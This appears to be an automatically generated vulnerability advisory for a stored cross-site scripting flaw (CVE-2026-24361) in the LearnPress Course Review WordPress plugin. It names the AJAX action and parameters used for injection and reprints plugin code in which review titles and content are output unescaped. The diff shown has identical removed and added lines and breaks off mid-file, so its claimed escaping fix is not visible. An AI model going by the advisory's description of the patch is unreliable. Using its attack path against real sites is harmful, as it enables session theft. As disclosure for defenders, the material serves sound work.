Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24361: LearnPress – Course Review <= 4.1.9 – Authenticated (Learnpress student+) Stored Cross-Site Scripting (learnpress-course-review)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.1.9
Patched Version 4.2.0
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24361:
The LearnPress Course Review plugin for WordPress contains an authenticated stored cross-site scripting vulnerability in versions up to and including 4.1.9. The vulnerability affects the course review submission functionality, allowing attackers with learnpress student-level access or higher to inject arbitrary JavaScript payloads that persist in the database and execute when other users view the compromised course review pages. This vulnerability has a CVSS score of 6.4 (Medium severity).

The root cause is insufficient input sanitization and output escaping in the review submission process. The vulnerability exists in the submit_review() method within the CourseRatingTemplate class (learnpress-course-review/inc/TemplateHooks/CourseRatingTemplate.php). The method receives user-controlled parameters including ‘review_title’ and ‘review_content’ through the $settings array parameter. These parameters are passed directly to LP_Addon_Course_Review_Preload::$addon->submit_review($settings) without proper sanitization. The diff shows the vulnerable code structure where user input flows through the submit_review() method without validation before database storage.

Exploitation requires authenticated access with learnpress student privileges or higher. Attackers submit malicious reviews through the course review form, targeting the AJAX endpoint at /wp-admin/admin-ajax.php with the action parameter set to ‘CourseRatingTemplate:submit_review’. The payload includes JavaScript in the ‘review_title’ and ‘review_content’ parameters. The attack vector uses the plugin’s review submission workflow, where user-controlled HTML content is stored in the WordPress comments table and later rendered without proper output escaping when displayed to other users.

The patch addresses the vulnerability by implementing proper input sanitization and output escaping. The diff shows changes to the submit_review() method and related template rendering functions. Specifically, the patch adds escaping functions like esc_html() and esc_attr() to user-controlled data before output. In the html_list_reviews() method, the patch adds escaping to the review title and content fields where previously raw user input was directly inserted into HTML output. The patch also ensures that user-provided data is sanitized before database storage and properly escaped during retrieval and display.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of other users’ browsers. This enables session hijacking, account takeover, content manipulation, and phishing attacks. Since the payload is stored in the database, it affects all users who view the compromised course review page. The vulnerability requires authenticated access but affects the broader user base, making it a significant threat to platform integrity and user security.

Differential between vulnerable and patched code

Code Diff
--- a/learnpress-course-review/inc/CourseReviewCache.php
+++ b/learnpress-course-review/inc/CourseReviewCache.php
@@ -1,92 +1,92 @@
-<?php
-
-namespace LearnPressCourseReview;
-
-use Exception;
-use LearnPressModelsCourseModel;
-use LearnPressModelsCoursePostModel;
-use LP_Addon_Course_Review;
-use LP_Addon_Course_Review_Preload;
-use LP_Cache;
-
-defined( 'ABSPATH' ) || exit();
-
-/**
- * Class CourseReviewCache
- *
- * @author tungnx
- * @since 4.2.2
- * @version 1.0.2
- */
-class CourseReviewCache extends LP_Cache {
-	/**
-	 * @var string Key group child(external)
-	 */
-	protected $key_group_child = 'course-rating';
-
-	public function __construct( $has_thim_cache = false ) {
-		parent::__construct( $has_thim_cache );
-	}
-
-	/**
-	 * Set rating.
-	 *
-	 * @param $course_id
-	 * @param $rating
-	 *
-	 * @return void
-	 */
-	public function set_rating( $course_id, $rating ) {
-		$this->set_cache( $course_id, $rating );
-
-		$key_cache_first = "{$this->key_group}/{$course_id}";
-		LP_Cache::cache_load_first( 'set', $key_cache_first, $rating );
-	}
-
-	/**
-	 * Get rating.
-	 *
-	 * @param $course_id
-	 *
-	 * @return array|false|mixed|string
-	 */
-	public function get_rating( $course_id ) {
-		$key_cache_first = "{$this->key_group}/{$course_id}";
-		$total           = LP_Cache::cache_load_first( 'get', $key_cache_first );
-		if ( false !== $total ) {
-			return $total;
-		}
-
-		$total = $this->get_cache( $course_id );
-		LP_Cache::cache_load_first( 'set', $key_cache_first, $total );
-
-		return $total;
-	}
-
-	/**
-	 * Clean cache rating
-	 * And calculate average rating for course
-	 *
-	 * @param int $course_id
-	 * @param int $user_id
-	 *
-	 * @return void
-	 * @throws Exception
-	 */
-	public function clean_rating( int $course_id, int $user_id = 0 ) {
-		$this->clear( $course_id );
-		$key_cache_first = "{$this->key_group}/{$course_id}";
-		LP_Cache::cache_load_first( 'clean', $key_cache_first );
-
-		// Set average rating for course
-		$rating = LP_Addon_Course_Review_Preload::$addon->get_rating_of_course( $course_id );
-		LP_Addon_Course_Review::set_course_rating_average( $course_id, $rating['rated'] );
-		$courseModel = CourseModel::find( $course_id, true );
-		if ( $courseModel instanceof CourseModel ) {
-			$courseModel->meta_data->{LP_Addon_Course_Review::META_KEY_RATING_AVERAGE} = $rating['rated'];
-			$courseModel->save( true );
-		}
-		$key_cache_review = "user/{$user_id}/course/{$course_id}/review";
-		$this->clear( $key_cache_review );
-	}
-}
+<?php
+
+namespace LearnPressCourseReview;
+
+use Exception;
+use LearnPressModelsCourseModel;
+use LearnPressModelsCoursePostModel;
+use LP_Addon_Course_Review;
+use LP_Addon_Course_Review_Preload;
+use LP_Cache;
+
+defined( 'ABSPATH' ) || exit();
+
+/**
+ * Class CourseReviewCache
+ *
+ * @author tungnx
+ * @since 4.2.2
+ * @version 1.0.2
+ */
+class CourseReviewCache extends LP_Cache {
+	/**
+	 * @var string Key group child(external)
+	 */
+	protected $key_group_child = 'course-rating';
+
+	public function __construct( $has_thim_cache = false ) {
+		parent::__construct( $has_thim_cache );
+	}
+
+	/**
+	 * Set rating.
+	 *
+	 * @param $course_id
+	 * @param $rating
+	 *
+	 * @return void
+	 */
+	public function set_rating( $course_id, $rating ) {
+		$this->set_cache( $course_id, $rating );
+
+		$key_cache_first = "{$this->key_group}/{$course_id}";
+		LP_Cache::cache_load_first( 'set', $key_cache_first, $rating );
+	}
+
+	/**
+	 * Get rating.
+	 *
+	 * @param $course_id
+	 *
+	 * @return array|false|mixed|string
+	 */
+	public function get_rating( $course_id ) {
+		$key_cache_first = "{$this->key_group}/{$course_id}";
+		$total           = LP_Cache::cache_load_first( 'get', $key_cache_first );
+		if ( false !== $total ) {
+			return $total;
+		}
+
+		$total = $this->get_cache( $course_id );
+		LP_Cache::cache_load_first( 'set', $key_cache_first, $total );
+
+		return $total;
+	}
+
+	/**
+	 * Clean cache rating
+	 * And calculate average rating for course
+	 *
+	 * @param int $course_id
+	 * @param int $user_id
+	 *
+	 * @return void
+	 * @throws Exception
+	 */
+	public function clean_rating( int $course_id, int $user_id = 0 ) {
+		$this->clear( $course_id );
+		$key_cache_first = "{$this->key_group}/{$course_id}";
+		LP_Cache::cache_load_first( 'clean', $key_cache_first );
+
+		// Set average rating for course
+		$rating = LP_Addon_Course_Review_Preload::$addon->get_rating_of_course( $course_id );
+		LP_Addon_Course_Review::set_course_rating_average( $course_id, $rating['rated'] );
+		$courseModel = CourseModel::find( $course_id, true );
+		if ( $courseModel instanceof CourseModel ) {
+			$courseModel->meta_data->{LP_Addon_Course_Review::META_KEY_RATING_AVERAGE} = $rating['rated'];
+			$courseModel->save( true );
+		}
+		$key_cache_review = "user/{$user_id}/course/{$course_id}/review";
+		$this->clear( $key_cache_review );
+	}
+}
--- a/learnpress-course-review/inc/TemplateHooks/CourseRatingTemplate.php
+++ b/learnpress-course-review/inc/TemplateHooks/CourseRatingTemplate.php
@@ -1,655 +1,655 @@
-<?php
-/**
- * LearnPress Coming Soon Hook Template
- *
- * @since 4.1.4
- * @version 1.0.0
- */
-
-namespace LearnPressCourseReviewTemplateHooks;
-
-use LearnPressHelpersSingleton;
-use LearnPressHelpersTemplate;
-use LearnPressModelsCourseModel;
-use LearnPressModelsUserItemsUserCourseModel;
-use LearnPressModelsUserModel;
-use LearnPressTemplateHooksTemplateAJAX;
-use LP_Addon_Course_Review;
-use LP_Addon_Course_Review_Preload;
-use LP_Datetime;
-use LP_Debug;
-use stdClass;
-use Throwable;
-use WP_Error;
-
-class CourseRatingTemplate {
-	use Singleton;
-
-	public $addon;
-
-	public function init() {
-		$this->addon = LP_Addon_Course_Review_Preload::$addon;
-		add_action( 'learn-press/course-review/rating-reviews', array( $this, 'layout_rating_reviews' ), 10, 2 );
-		add_filter( 'lp/rest/ajax/allow_callback', [ $this, 'allow_callback' ] );
-	}
-
-	/**
-	 * @uses CourseRatingTemplate::render_rating_reviews()
-	 * @uses CourseRatingTemplate::submit_review()
-	 *
-	 * @param $callbacks
-	 *
-	 * @return mixed
-	 */
-	public function allow_callback( $callbacks ) {
-		$callbacks[] = CourseRatingTemplate::class . ':render_rating_reviews';
-		$callbacks[] = CourseRatingTemplate::class . ':submit_review';
-
-		return $callbacks;
-	}
-
-	/**
-	 * Layout rating reviews
-	 *
-	 * @param CourseModel $courseModel
-	 * @param UserModel|false $userModel
-	 *
-	 * return void
-	 */
-	public function layout_rating_reviews( CourseModel $courseModel, $userModel ) {
-		wp_enqueue_script( 'course-review' );
-		wp_enqueue_style( 'course-review' );
-
-		$html_wrapper = [
-			'<div class="lp-courses-rating-reviews-ajax">' => '</div>',
-		];
-
-		/**
-		 * @uses self::render_rating_reviews()
-		 */
-		$callback = [
-			'class'  => CourseRatingTemplate::class,
-			'method' => 'render_rating_reviews',
-		];
-		$args     = [
-			'id_url'    => 'course-rating-reviews',
-			'course_id' => $courseModel->get_id(),
-			'paged'     => 1,
-		];
-
-		$content = TemplateAJAX::load_content_via_ajax( $args, $callback );
-
-		echo Template::instance()->nest_elements( $html_wrapper, $content );
-	}
-
-	/**
-	 * Add course rating to course archive page
-	 *
-	 * @param float|string $rated
-	 *
-	 * @return string
-	 */
-	public function html_rated_star( $rated ): string {
-		$percent = min( 100, (float) $rated * 20 );
-
-		$html_item = '';
-		for ( $i = 1; $i <= 5; $i++ ) {
-			$with_star     = $i * 20; // Css set 20px
-			$percent_width = max( $with_star <= $percent ? 100 : ( $percent - ( $i - 1 ) * 20 ) * 5, 0 );
-			$section_item  = [
-				'wrapper'     => '<div class="review-star">',
-				'far'         => sprintf(
-					'<em class="far lp-review-svg-star">%s</em>',
-					LP_Addon_Course_Review::get_svg_star()
-				),
-				'fas'         => sprintf(
-					'<em class="fas lp-review-svg-star" style="width:%s;">%s</em>',
-					"{$percent_width}%",
-					LP_Addon_Course_Review::get_svg_star()
-				),
-				'wrapper_end' => '</div>',
-			];
-
-			$html_item .= Template::combine_components( $section_item );
-		}
-
-		$section = [
-			'wrapper'     => '<div class="review-stars-rated">',
-			'item'        => $html_item,
-			'wrapper_end' => '</div>',
-		];
-
-		return Template::combine_components( $section );
-	}
-
-	/**
-	 * Add course rating to course archive page
-	 *
-	 * @param CourseModel $courseModel
-	 *
-	 * @return string
-	 * @since 4.1.6
-	 * @version 1.0.0
-	 */
-	public function html_average_rating( CourseModel $courseModel ): string {
-		// Get from meta key, check after
-		//$average = LP_Addon_Course_Review_Preload::$addon->get_average_rated( $courseModel );
-
-		$course_rate_res = LP_Addon_Course_Review_Preload::$addon->get_rating_of_course( $courseModel->ID );
-
-		$section = [
-			'wrapper'     => '<div class="course-rate__summary">',
-			'value'       => sprintf(
-				'<div class="course-rate__summary-value">%s</div>',
-				esc_html( number_format( $course_rate_res['rated'] ?? 0, 1 ) )
-			),
-			'star'        => sprintf(
-				'<div class="course-rate__summary-stars">%s</div>',
-				$this->html_rated_star( $course_rate_res['rated'] )
-			),
-			'text'        => sprintf(
-				'<div class="course-rate__summary-text">%s</div>',
-				sprintf(
-					_n(
-						'<span>%d</span> rating',
-						'<span>%d</span> ratings',
-						$course_rate_res['total'],
-						'learnpress-course-review'
-					),
-					$course_rate_res['total']
-				)
-			),
-			'wrapper_end' => '</div>',
-		];
-
-		return Template::combine_components( $section );
-	}
-
-	/**
-	 * Show rating detail
-	 * Number rating of each star (1-5)
-	 *
-	 * @param CourseModel $courseModel
-	 *
-	 * @return string
-	 * @since 4.1.6
-	 * @version 1.0.0
-	 */
-	public function html_rating_detail( CourseModel $courseModel ): string {
-		$course_rate_res = LP_Addon_Course_Review_Preload::$addon->get_rating_of_course( $courseModel->ID );
-		$html_items      = '';
-
-		$items = $course_rate_res['items'] ?? [];
-		foreach ( $items as $item ) {
-			$section_item = [
-				'wrapper'      => '<div class="course-rate__details-row">',
-				'star'         => sprintf(
-					'<span class="course-rate__details-row-star">%s</span>',
-					esc_html( $item['rated'] )
-				),
-				'fas'          => sprintf(
-					'<em class="fas lp-review-svg-star">%s</em>',
-					LP_Addon_Course_Review::get_svg_star()
-				),
-				'percent'      => sprintf(
-					'<div class="course-rate__details-row-value">
-						<div class="rating-gray"></div>
-						<div class="rating" style="width:%s;">
-						</div>
-					</div>',
-					esc_attr( $item['percent'] . '%' )
-				),
-				'rating-count' => sprintf(
-					'<span class="rating-count">%s</span>',
-					esc_html( $item['total'] )
-				),
-				'wrapper_end'  => '</div>',
-			];
-
-			$html_items .= Template::combine_components( $section_item );
-		}
-
-		$section = [
-			'wrapper'     => '<div class="course-rate__details">',
-			'items'       => $html_items,
-			'wrapper_end' => '</div>',
-		];
-
-		return Template::combine_components( $section );
-	}
-
-	/**
-	 * @param CourseModel $courseModel
-	 * @param UserModel|false $userModel
-	 *
-	 * @return string
-	 */
-	public function html_btn_review( CourseModel $courseModel, $userModel ): string {
-		$html = '';
-
-		try {
-			if ( ! $userModel instanceof UserModel ) {
-				return $html;
-			}
-
-			if ( ! LP_Addon_Course_Review_Preload::$addon->check_user_can_review_course( $userModel, $courseModel ) ) {
-				return $html;
-			}
-
-			$section = [
-				'button'      => sprintf(
-					'<button class="write-a-review lp-button">%s</button>',
-					esc_html__( 'Write a review', 'learnpress-course-review' )
-				),
-				'wrapper'     => '<div class="course-review-wrapper">',
-				'form'        => self::instance()->html_form_review( $courseModel, $userModel ),
-				'wrapper_end' => '</div>',
-			];
-
-			$html = Template::combine_components( $section );
-		} catch ( Throwable $e ) {
-			LP_Debug::error_log( $e );
-		}
-
-		return $html;
-	}
-
-	/**
-	 * @param CourseModel $courseModel
-	 * @param UserModel $userModel
-	 *
-	 * @return string
-	 */
-	public function html_form_review( CourseModel $courseModel, UserModel $userModel ): string {
-		$html = '';
-
-		try {
-			if ( ! LP_Addon_Course_Review_Preload::$addon->check_user_can_review_course( $userModel, $courseModel ) ) {
-				return $html;
-			}
-
-			$html_stars = '';
-			for ( $i = 1; $i <= 5; $i++ ) {
-				$html_stars .= sprintf(
-					'<li class="choose-star" data-star="%d">
-						<span>%s</span>
-					</li>',
-					$i,
-					LP_Addon_Course_Review::get_svg_star()
-				);
-			}
-			$html_stars = sprintf(
-				'<ul class="review-stars">%s</ul>',
-				$html_stars
-			);
-
-			$section = [
-				'form'          => '<form class="review-form">',
-				'h4'            => sprintf(
-					'<h4>%s<a href="" class="close"><i class="lp-icon-close"></i></a></h4>',
-					esc_html__( 'Write a review', 'learnpress-course-review' )
-				),
-				'fields'        => '<ul class="review-fields">',
-				'field_title'   => sprintf(
-					'<li>
-						<label>%s <span class="required">*</span></label>
-						<input type="text" name="review_title"/>
-					</li>',
-					esc_html__( 'Title', 'learnpress-course-review' )
-				),
-				'field_content' => sprintf(
-					'<li>
-						<label>%s<span class="required">*</span></label>
-						<textarea name="review_content"></textarea>
-					</li>',
-					esc_html__( 'Content', 'learnpress-course-review' )
-				),
-				'field_rating'  => sprintf(
-					'<li>
-						<label>%s<span class="required">*</span></label>
-						%s',
-					esc_html__( 'Rating (click to choice)', 'learnpress-course-review' ),
-					$html_stars
-				),
-				'field_actions' => sprintf(
-					'<li class="review-actions">
-						<button type="button" class="lp-button submit-review" data-id="%d">%s</button>
-						<button type="button" class="lp-button close">%s</button>
-						<span class="error"></span>
-					</li>',
-					$courseModel->get_id(),
-					esc_html__( 'Add review', 'learnpress-course-review' ),
-					esc_html__( 'Cancel', 'learnpress-course-review' )
-				),
-				'fields_hidden' => '<input type="hidden" name="rating" value="0">',
-				'fields_end'    => '</ul>',
-				'form_end'      => '</form>',
-			];
-
-			$args = [
-				'id_url'                  => 'lp-submit-review-form',
-				'course_id'               => $courseModel->get_id(),
-				'html_no_load_ajax_first' => Template::combine_components( $section ),
-			];
-			/**
-			 * @uses self::submit_review()
-			 */
-			$callback = [
-				'class'  => CourseRatingTemplate::class,
-				'method' => 'submit_review',
-			];
-
-			// Set args for ajax to submit review
-			$html = TemplateAJAX::load_content_via_ajax( $args, $callback );
-		} catch ( Throwable $e ) {
-			LP_Debug::error_log( $e );
-		}
-
-		return $html;
-	}
-
-	/**
-	 * HTML for list reviews
-	 *
-	 * @param CourseModel $courseModel
-	 * @param UserModel|false $userModel
-	 * @param $settings
-	 *
-	 * @return string
-	 * @since 4.1.6
-	 * @version 1.0.1
-	 */
-	public function html_list_reviews( CourseModel $courseModel, $userModel, $settings ): string {
-		$html = '';
-
-		try {
-			$reviews_rs  = $settings['reviews_rs'] ?? [];
-			$total_pages = $reviews_rs['pages'] ?? 0;
-
-			$html_items = '';
-			$reviews    = $reviews_rs['reviews'] ?? [];
-			if ( empty( $reviews ) ) {
-				return $html;
-			}
-
-			foreach ( $reviews as $review ) {
-				$date_time_review = new LP_DateTime( $review->comment_date_gmt );
-
-				$section_info = apply_filters(
-					'learn-press/course-review/list-reviews/item-info/section',
-					[
-						'wrapper'                  => '<div class="review-content-right">',
-						'wrapper-info'             => '<div class="review-info">',
-						'wrapper-author-rated'     => '<div class="author-rated">',
-						'rated'                    => self::instance()->html_rated_star( $review->rate ?? 0 ),
-						'user-name'                => sprintf(
-							'<h4 class="user-name">%s</h4>',
-							$review->display_name ?? ''
-						),
-						'wrapper-author-rated_end' => '</div>',
-						'date'                     => sprintf(
-							'<div class="review-date">%s</div>',
-							$date_time_review->format( LP_DateTime::I18N_FORMAT )
-						),
-						'wrapper-info_end'         => '</div>',
-						'title'                    => sprintf(
-							'<h5 class="course-review-title">%s</h5>',
-							$review->title ?? ''
-						),
-						'content'                  => sprintf(
-							'<div class="review-content">%s</div>',
-							$review->content ?? ''
-						),
-						'wrapper_end'              => '</div>',
-					],
-					$review,
-					$courseModel,
-					$userModel,
-					$settings
-				);
-
-				$section_item = [
-					'li'     => '<li>',
-					'avatar' => sprintf(
-						'<div class="review-author">%s</div>',
-						get_avatar( $review->user_email ?? '' )
-					),
-					'info'   => Template::combine_components( $section_info ),
-					'li_end' => '</li>',
-				];
-
-				$html_items .= apply_filters(
-					'learn-press/course-review/list-reviews/item/section',
-					Template::combine_components( $section_item ),
-					$review,
-					$courseModel,
-					$userModel,
-					$settings
-				);
-			}
-
-			$section = apply_filters(
-				'learn-press/course-review/list-reviews/section',
-				array(
-					'wrapper'       => '<div class="course-reviews">',
-					'ul'            => '<ul class="course-reviews-list">',
-					'reviews'       => $html_items,
-					'ul_end'        => '</ul>',
-					'btn_load_more' => $total_pages > 1 ? sprintf(
-						'<button class="lp-button course-review-load-more"
-							id="course-review-load-more">%s
-						</button>',
-						esc_html__( 'Load more', 'learnpress-course-review' )
-					) : '',
-					'wrapper_end'   => '</div>',
-				),
-				$courseModel,
-				$userModel,
-				$settings
-			);
-
-			$html = Template::combine_components( $section );
-		} catch ( Throwable $e ) {
-			LP_Debug::error_log( $e );
-		}
-
-		return $html;
-	}
-
-	/**
-	 * HTML for show message if user has submitted review and it is awaiting approve
-	 *
-	 * @param CourseModel $courseModel
-	 * @param UserModel|false $userModel
-	 *
-	 * @return string
-	 * @since 4.1.6
-	 * @version 1.0.1
-	 */
-	public function html_unapprove( CourseModel $courseModel, $userModel ): string {
-		$html = '';
-
-		try {
-			if ( ! $userModel instanceof UserModel ) {
-				return $html;
-			}
-
-			// Get comments of user for course with comment_approved = 0
-			$args           = array(
-				'user_id' => $userModel->get_id(),
-				'post_ID' => $courseModel->get_id(),
-				'type'    => 'review',
-				'status'  => 'hold',
-			);
-			$comments_count = get_comments( $args );
-
-			if ( ! empty( $comments_count ) ) {
-				$html = sprintf(
-					'<div class="learn-press-message success">%s</div>',
-					__( 'Your review has been submitted and is awaiting approve.', 'learnpress-course-review' )
-				);
-			}
-		} catch ( Throwable $e ) {
-			LP_Debug::error_log( $e );
-		}
-
-		return $html;
-	}
-
-	/**
-	 * Get html tiny rating info
-	 *
-	 * @param CourseModel $course
-	 *
-	 * @return string
-	 * @since 4.1.6
-	 * @version 1.0.0
-	 */
-	public function html_tiny_rating_info( CourseModel $course ): string {
-		$html = '';
-
-		try {
-			$rating_info = LP_Addon_Course_Review_Preload::$addon->get_rating_of_course( $course->get_id() );
-
-			wp_enqueue_style( 'course-review' );
-
-			$html_star = sprintf(
-				'<em class="fas lp-review-svg-star">%s</em>',
-				LP_Addon_Course_Review::get_svg_star()
-			);
-			$html      = sprintf(
-				'<div class="item-meta">
-					<div class="star-info">
-					<span class="ico-star">%s</span><span class="info-rating">%d/%d</span> %s
-					</div>
-				</div>',
-				$html_star,
-				$rating_info['rated'],
-				$rating_info['total'],
-				_n( 'Rating', 'Ratings', $rating_info['total'], 'learnpress-course-review' )
-			);
-		} catch ( Throwable $e ) {
-			LP_Debug::error_log( $e );
-		}
-
-		return $html;
-	}
-
-	/**
-	 * Render rating reviews
-	 *
-	 * @param CourseModel $courseModel
-	 * @param UserModel|false $userModel
-	 *
-	 * @return string
-	 * @since 4.1.6
-	 * @version 1.0.0
-	 */
-	public function html_rating_reviews( CourseModel $courseModel, $userModel ): string {
-		$html = '';
-
-		try {
-			ob_start();
-			LP_Addon_Course_Review_Preload::$addon->add_course_tab_reviews_callback();
-			$html_rating_reviews_main = ob_get_clean();
-
-			$section = [
-				'wrapper'     => '<div class="lp-rating-reviews-wrapper">',
-				'header'      => sprintf(
-					'<h3 class="item-title">%s</h3>',
-					esc_html__( 'Reviews', 'learnpress-course-review' )
-				),
-				'content'     => $html_rating_reviews_main,
-				'wrapper_end' => '</div>',
-			];
-
-			$html = Template::combine_components( $section );
-		} catch ( Throwable $e ) {
-			LP_Debug::error_log( $e );
-		}
-
-		return $html;
-	}
-
-	/**
-	 * Render rating reviews
-	 *
-	 * @param array $settings
-	 *
-	 * @return stdClass
-	 * @since 4.1.6
-	 * @version 1.0.0
-	 */
-	public static function render_rating_reviews( array $settings = [] ): stdClass {
-		$content          = new stdClass();
-		$content->content = '';
-
-		try {
-			$course_id   = $settings['course_id'] ?? 0;
-			$user_id     = $settings['user_id'] ?? get_current_user_id();
-			$userModel   = UserModel::find( $user_id, true );
-			$courseModel = CourseModel::find( $course_id, true );
-			if ( ! $courseModel instanceof CourseModel ) {
-				return $content;
-			}
-
-			$paged                  = $settings['paged'] ?? 1;
-			$reviews_rs             = learn_press_get_course_review( $courseModel->get_id(), $paged );
-			$total_pages            = $reviews_rs['pages'] ?? 0;
-			$settings['reviews_rs'] = $reviews_rs;
-
-			$section_course_rate = [
-				'wrapper'     => '<div class="course-rate">',
-				'average'     => self::instance()->html_average_rating( $courseModel ),
-				'detail'      => self::instance()->html_rating_detail( $courseModel ),
-				'wrapper_end' => '</div>',
-			];
-
-			$section = [
-				'wrapper'     => '<div class="learnpress-course-review lp-rating-reviews-wrapper">',
-				'header'      => sprintf(
-					'<h3 class="item-title">%s</h3>',
-					esc_html__( 'Reviews', 'learnpress-course-review' )
-				),
-				'rate'        => Template::combine_components( $section_course_rate ),
-				'btn-review'  => self::instance()->html_btn_review( $courseModel, $userModel ),
-				'unapprove'   => self::instance()->html_unapprove( $courseModel, $userModel ),
-				'reviews'     => self::instance()->html_list_reviews( $courseModel, $userModel, $settings ),
-				'wrapper_end' => '</div>',
-			];
-
-			$content->content     = Template::combine_components( $section );
-			$content->paged       = $paged;
-			$content->total_pages = $total_pages;
-		} catch ( Throwable $e ) {
-			LP_Debug::error_log( $e );
-		}
-
-		return $content;
-	}
-
-	/**
-	 * Submit review
-	 *
-	 * @param array $settings
-	 *
-	 * @return stdClass
-	 * @since 4.1.6
-	 * @version 1.0.0
-	 */
-	public static function submit_review( array $settings = [] ) {
-		$content             = new stdClass();
-		$content->status     = 'error';
-		$content->content    = '';
-		$settings['user_id'] = get_current_user_id();
-		$submit_rs           = LP_Addon_Course_Review_Preload::$addon->submit_review( $settings );
-		if ( $submit_rs instanceof WP_Error ) {
-			$content->content = $submit_rs->get_error_message();
-		} else {
-			$content->status  = 'success';
-			$content->content = __( 'Your review has been submitted and is awaiting approve.', 'learnpress-course-review' );
-		}
-
-		return $content;
-	}
-}
+<?php
+/**
+ * LearnPress Coming Soon Hook Template
+ *
+ * @since 4.1.4
+ * @version 1.0.0
+ */
+
+namespace LearnPressCourseReviewTemplateHooks;
+
+use LearnPressHelpersSingleton;
+use LearnPressHelpersTemplate;
+use LearnPressModelsCourseModel;
+use LearnPressModelsUserItemsUserCourseModel;
+use LearnPressModelsUserModel;
+use LearnPressTemplateHooksTemplateAJAX;
+use LP_Addon_Course_Review;
+use LP_Addon_Course_Review_Preload;
+use LP_Datetime;
+use LP_Debug;
+use stdClass;
+use Throwable;
+use WP_Error;
+
+class CourseRatingTemplate {
+	use Singleton;
+
+	public $addon;
+
+	public function init() {
+		$this->addon = LP_Addon_Course_Review_Preload::$addon;
+		add_action( 'learn-press/course-review/rating-reviews', array( $this, 'layout_rating_reviews' ), 10, 2 );
+		add_filter( 'lp/rest/ajax/allow_callback', [ $this, 'allow_callback' ] );
+	}
+
+	/**
+	 * @uses CourseRatingTemplate::render_rating_reviews()
+	 * @uses CourseRatingTemplate::submit_review()
+	 *
+	 * @param $callbacks
+	 *
+	 * @return mixed
+	 */
+	public function allow_callback( $callbacks ) {
+		$callbacks[] = CourseRatingTemplate::class . ':render_rating_reviews';
+		$callbacks[] = CourseRatingTemplate::class . ':submit_review';
+
+		return $callbacks;
+	}
+
+	/**
+	 * Layout rating reviews
+	 *
+	 * @param CourseModel $courseModel
+	 * @param UserModel|false $userModel
+	 *
+	 * return void
+	 */
+	public function layout_rating_reviews( CourseModel $courseModel, $userModel ) {
+		wp_enqueue_script( 'course-review' );
+		wp_enqueue_style( 'course-review' );
+
+		$html_wrapper = [
+			'<div class="lp-courses-rating-reviews-ajax">' => '</div>',
+		];
+
+		/**
+		 * @uses self::render_rating_reviews()
+		 */
+		$callback = [
+			'class'  => CourseRatingTemplate::class,
+			'method' => 'render_rating_reviews',
+		];
+		$args     = [
+			'id_url'    => 'course-rating-reviews',
+			'course_id' => $courseModel->get_id(),
+			'paged'     => 1,
+		];
+
+		$content = TemplateAJAX::load_content_via_ajax( $args, $callback );
+
+		echo Template::instance()->nest_elements( $html_wrapper, $content );
+	}
+
+	/**
+	 * Add course rating to course archive page
+	 *
+	 * @param float|string $rated
+	 *
+	 * @return string
+	 */
+	public function html_rated_star( $rated ): string {
+		$percent = min( 100, (float) $rated * 20 );
+
+		$html_item = '';
+		for ( $i = 1; $i <= 5; $i++ ) {
+			$with_star     = $i * 20; // Css set 20px
+			$percent_width = max( $with_star <= $percent ? 100 : ( $percent - ( $i - 1 ) * 20 ) * 5, 0 );
+			$section_item  = [
+				'wrapper'     => '<div class="review-star">',
+				'far'         => sprintf(
+					'<em class="far lp-review-svg-star">%s</em>',
+					LP_Addon_Course_Review::get_svg_star()
+				),
+				'fas'         => sprintf(
+					'<em class="fas lp-review-svg-star" style="width:%s;">%s</em>',
+					"{$percent_width}%",
+					LP_Addon_Course_Review::get_svg_star()
+				),
+				'wrapper_end' => '</div>',
+			];
+
+			$html_item .= Template::combine_components( $section_item );
+		}
+
+		$section = [
+			'wrapper'     => '<div class="review-stars-rated">',
+			'item'        => $html_item,
+			'wrapper_end' => '</div>',
+		];
+
+		return Template::combine_components( $section );
+	}
+
+	/**
+	 * Add course rating to course archive page
+	 *
+	 * @param CourseModel $courseModel
+	 *
+	 * @return string
+	 * @since 4.1.6
+	 * @version 1.0.0
+	 */
+	public function html_average_rating( CourseModel $courseModel ): string {
+		// Get from meta key, check after
+		//$average = LP_Addon_Course_Review_Preload::$addon->get_average_rated( $courseModel );
+
+		$course_rate_res = LP_Addon_Course_Review_Preload::$addon->get_rating_of_course( $courseModel->ID );
+
+		$section = [
+			'wrapper'     => '<div class="course-rate__summary">',
+			'value'       => sprintf(
+				'<div class="course-rate__summary-value">%s</div>',
+				esc_html( number_format( $course_rate_res['rated'] ?? 0, 1 ) )
+			),
+			'star'        => sprintf(
+				'<div class="course-rate__summary-stars">%s</div>',
+				$this->html_rated_star( $course_rate_res['rated'] )
+			),
+			'text'        => sprintf(
+				'<div class="course-rate__summary-text">%s</div>',
+				sprintf(
+					_n(
+						'<span>%d</span> rating',
+						'<span>%d</span> ratings',
+						$course_rate_res['total'],
+						'learnpress-course-review'
+					),
+					$course_rate_res['total']
+				)
+			),
+			'wrapper_end' => '</div>',
+		];
+
+		return Template::combine_components( $section );
+	}
+
+	/**
+	 * Show rating detail
+	 * Number rating of each star (1-5)
+	 *
+	 * @param CourseModel $courseModel
+	 *
+	 * @return string
+	 * @since 4.1.6
+	 * @version 1.0.0
+	 */
+	public function html_rating_detail( CourseModel $courseModel ): string {
+		$course_rate_res = LP_Addon_Course_Review_Preload::$addon->get_rating_of_course( $courseModel->ID );
+		$html_items      = '';
+
+		$items = $course_rate_res['items'] ?? [];
+		foreach ( $items as $item ) {
+			$section_item = [
+				'wrapper'      => '<div class="course-rate__details-row">',
+				'star'         => sprintf(
+					'<span class="course-rate__details-row-star">%s</span>',
+					esc_html( $item['rated'] )
+				),
+				'fas'          => sprintf(
+					'<em class="fas lp-review-svg-star">%s</em>',
+					LP_Addon_Course_Review::get_svg_star()
+				),
+				'percent'      => sprintf(
+					'<div class="course-rate__details-row-value">
+						<div class="rating-gray"></div>
+						<div class="rating" style="width:%s;">
+						</div>
+					</div>',
+					esc_attr( $item['percent'] . '%' )
+				),
+				'rating-count' => sprintf(
+					'<span class="rating-count">%s</span>',
+					esc_html( $item['total'] )
+				),
+				'wrapper_end'  => '</div>',
+			];
+
+			$html_items .= Template::combine_components( $section_item );
+		}
+
+		$section = [
+			'wrapper'     => '<div class="course-rate__details">',
+			'items'       => $html_items,
+			'wrapper_end' => '</div>',
+		];
+
+		return Template::combine_components( $section );
+	}
+
+	/**
+	 * @param CourseModel $courseModel
